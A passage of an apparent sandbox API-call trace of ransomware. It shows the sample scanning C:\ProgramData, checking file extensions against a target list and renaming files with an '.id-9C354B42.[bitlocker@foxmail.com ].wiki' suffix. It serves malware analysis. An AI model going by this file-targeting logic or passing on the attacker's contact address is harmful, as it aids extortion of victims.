help\\ms.winword.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.240] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=362) returned 1 [0173.241] CloseHandle (hObject=0x1b4) returned 1 [0173.241] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.winword.dev.14.1033.hxn")) returned 0x2022 [0173.241] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft help\\ms.winword.dev.14.1033.hxn.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.241] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.winword.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.241] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=8668) returned 1 [0173.241] CloseHandle (hObject=0x1b4) returned 1 [0173.241] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\nslist.hxl" (normalized: "c:\\programdata\\microsoft help\\nslist.hxl")) returned 0x2022 [0173.241] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\nslist.hxl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft help\\nslist.hxl.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.242] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\nslist.hxl" (normalized: "c:\\programdata\\microsoft help\\nslist.hxl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.244] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=1012025) returned 1 [0173.244] CloseHandle (hObject=0x1b4) returned 1 [0173.245] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\programdata\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\x64\\windows6.1-kb2999226-x64.msu")) returned 0x20 [0173.245] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\x64\\windows6.1-kb2999226-x64.msu.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.245] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\programdata\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\x64\\windows6.1-kb2999226-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.246] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=1034556) returned 1 [0173.246] CloseHandle (hObject=0x1b4) returned 1 [0173.246] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\programdata\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\x64\\windows6.1-kb2999226-x64.msu")) returned 0x20 [0173.246] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\x64\\windows6.1-kb2999226-x64.msu.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.246] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\programdata\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\x64\\windows6.1-kb2999226-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.247] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=997054) returned 1 [0173.247] CloseHandle (hObject=0x1b4) returned 1 [0173.247] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\cab1.cab")) returned 0x20 [0173.247] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\cab1.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.247] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.248] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=143360) returned 1 [0173.248] CloseHandle (hObject=0x1b4) returned 1 [0173.248] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi")) returned 0x20 [0173.248] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.248] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.249] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=654) returned 1 [0173.249] CloseHandle (hObject=0x1b4) returned 1 [0173.249] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm")) returned 0x20 [0173.249] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.249] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.249] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=455720) returned 1 [0173.250] CloseHandle (hObject=0x1b4) returned 1 [0173.250] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe")) returned 0x20 [0173.250] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.250] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.253] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=5800228) returned 1 [0173.253] CloseHandle (hObject=0x1b4) returned 1 [0173.253] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\cab1.cab")) returned 0x20 [0173.253] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\cab1.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.254] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\cab1.cab"), lpNewFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\cab1.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0173.254] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 122 [0173.254] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 122 [0173.254] lstrlenW (lpString=".doc") returned 4 [0173.254] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0173.254] lstrlenW (lpString=".docx") returned 5 [0173.254] lstrcmpiW (lpString1=".docx", lpString2="1.cab") returned -1 [0173.254] lstrlenW (lpString=".pdf") returned 4 [0173.254] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0173.254] lstrlenW (lpString=".xls") returned 4 [0173.254] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0173.254] lstrlenW (lpString=".xlsx") returned 5 [0173.254] lstrcmpiW (lpString1=".xlsx", lpString2="1.cab") returned -1 [0173.254] lstrlenW (lpString=".ppt") returned 4 [0173.254] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0173.254] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 122 [0173.254] lstrlenW (lpString=".zip") returned 4 [0173.254] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0173.254] lstrlenW (lpString=".rar") returned 4 [0173.254] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0173.254] lstrlenW (lpString=".bz2") returned 4 [0173.254] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0173.254] lstrlenW (lpString=".7z") returned 3 [0173.255] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0173.255] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 122 [0173.255] lstrlenW (lpString=".dbf") returned 4 [0173.255] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0173.255] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 122 [0173.255] lstrlenW (lpString=".1cd") returned 4 [0173.255] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0173.255] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 122 [0173.255] lstrlenW (lpString=".jpg") returned 4 [0173.255] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0173.255] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 122 [0173.255] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 122 [0173.255] lstrlenW (lpString=".doc") returned 4 [0173.255] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0173.255] lstrlenW (lpString=".docx") returned 5 [0173.255] lstrcmpiW (lpString1=".docx", lpString2="1.cab") returned -1 [0173.255] lstrlenW (lpString=".pdf") returned 4 [0173.255] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0173.255] lstrlenW (lpString=".xls") returned 4 [0173.255] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0173.255] lstrlenW (lpString=".xlsx") returned 5 [0173.255] lstrcmpiW (lpString1=".xlsx", lpString2="1.cab") returned -1 [0173.255] lstrlenW (lpString=".ppt") returned 4 [0173.255] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0173.255] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 122 [0173.255] lstrlenW (lpString=".zip") returned 4 [0173.256] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0173.256] lstrlenW (lpString=".rar") returned 4 [0173.256] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0173.256] lstrlenW (lpString=".bz2") returned 4 [0173.256] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0173.256] lstrlenW (lpString=".7z") returned 3 [0173.256] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0173.256] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 122 [0173.256] lstrlenW (lpString=".dbf") returned 4 [0173.256] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0173.256] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 122 [0173.256] lstrlenW (lpString=".1cd") returned 4 [0173.256] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0173.256] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 122 [0173.256] lstrlenW (lpString=".jpg") returned 4 [0173.256] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0173.256] lstrcmpiW (lpString1=".msi", lpString2=".wiki") returned -1 [0173.256] lstrlenW (lpString="vc_runtimeAdditional_x64.msi") returned 28 [0173.256] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0173.259] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=151552) returned 1 [0173.259] CloseHandle (hObject=0x1a0) returned 1 [0173.259] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi")) returned 0x20 [0173.259] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.259] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.259] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 142 [0173.259] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 142 [0173.259] lstrlenW (lpString=".doc") returned 4 [0173.259] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0173.259] lstrlenW (lpString=".docx") returned 5 [0173.259] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0173.259] lstrlenW (lpString=".pdf") returned 4 [0173.259] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0173.259] lstrlenW (lpString=".xls") returned 4 [0173.259] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0173.259] lstrlenW (lpString=".xlsx") returned 5 [0173.259] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0173.259] lstrlenW (lpString=".ppt") returned 4 [0173.260] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0173.260] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 142 [0173.260] lstrlenW (lpString=".zip") returned 4 [0173.260] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0173.260] lstrlenW (lpString=".rar") returned 4 [0173.260] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0173.260] lstrlenW (lpString=".bz2") returned 4 [0173.260] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0173.260] lstrlenW (lpString=".7z") returned 3 [0173.260] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0173.260] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 142 [0173.260] lstrlenW (lpString=".dbf") returned 4 [0173.260] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0173.260] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 142 [0173.260] lstrlenW (lpString=".1cd") returned 4 [0173.260] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0173.260] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 142 [0173.260] lstrlenW (lpString=".jpg") returned 4 [0173.260] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0173.260] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 142 [0173.260] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 142 [0173.260] lstrlenW (lpString=".doc") returned 4 [0173.260] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0173.260] lstrlenW (lpString=".docx") returned 5 [0173.260] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0173.260] lstrlenW (lpString=".pdf") returned 4 [0173.260] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0173.260] lstrlenW (lpString=".xls") returned 4 [0173.260] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0173.260] lstrlenW (lpString=".xlsx") returned 5 [0173.261] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0173.261] lstrlenW (lpString=".ppt") returned 4 [0173.261] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0173.261] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 142 [0173.261] lstrlenW (lpString=".zip") returned 4 [0173.261] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0173.261] lstrlenW (lpString=".rar") returned 4 [0173.261] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0173.261] lstrlenW (lpString=".bz2") returned 4 [0173.261] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0173.261] lstrlenW (lpString=".7z") returned 3 [0173.261] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0173.261] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 142 [0173.261] lstrlenW (lpString=".dbf") returned 4 [0173.261] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0173.261] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 142 [0173.261] lstrlenW (lpString=".1cd") returned 4 [0173.261] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0173.261] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 142 [0173.261] lstrlenW (lpString=".jpg") returned 4 [0173.261] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0173.261] lstrcmpiW (lpString1=".rsm", lpString2=".wiki") returned -1 [0173.261] lstrlenW (lpString="state.rsm") returned 9 [0173.478] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0173.478] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=666) returned 1 [0173.478] CloseHandle (hObject=0x1b4) returned 1 [0173.479] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm")) returned 0x20 [0173.479] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.479] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" (normalized: 